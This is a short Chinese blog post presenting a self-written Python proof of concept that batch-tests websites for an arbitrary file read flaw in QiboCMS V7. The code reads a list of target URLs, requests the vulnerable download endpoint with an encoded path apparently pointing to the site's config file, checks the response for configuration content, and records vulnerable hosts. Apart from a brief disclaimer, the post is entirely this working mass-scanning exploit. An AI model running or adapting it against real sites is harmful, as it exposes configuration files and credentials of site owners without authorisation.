齐博CMSV7任意文件读取漏洞批量测试POC

Fa1hai1

已于 2022-05-13 09:05:49 修改

阅读量1.5k

点赞数 4

分类专栏： POC编写文章标签：安全 web安全

于 2022-04-22 15:20:20 首次发布

本文链接：https://blog.youkuaiyun.com/m0_46371267/article/details/124346624

版权

POC编写专栏收录该内容

1 篇文章

订阅专栏

注：本poc为自己编写，请勿用于非法用途，第一次写poc，如有不妥请联系我。

# -*- coding:utf-8 -*-

import requests
import re
import urllib
import base64
def dakai(filename):
    with open(filename,'r',encoding='utf-8') as fp:
        # url_list = []
        # for i in fp.readlines():
        #     url_list.append(i.strip())
        # return url_list
        return [i.strip() for i in fp.readlines()]  # 列表推到式

def qibocms(url):
    new_url = url + '/do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36'

    }
    try:
        respone = requests.get(url=new_url, headers=headers, timeout=4, proxies={'http': 'http://127.0.0.1:10809'})

        if 'ph<' in respone.headers['Content-Type'] and '$webdb' in respone.text and respone.status_code == 200:
            print("存在漏洞:" + new_url)
            with open('you.txt', 'a+') as fp:
                fp.write(url+'\n')
    except Exception as e:
        print(url + "err: " + str(e))


if __name__ == '__main__':
    for i in dakai('url.txt'):
        qibocms(i)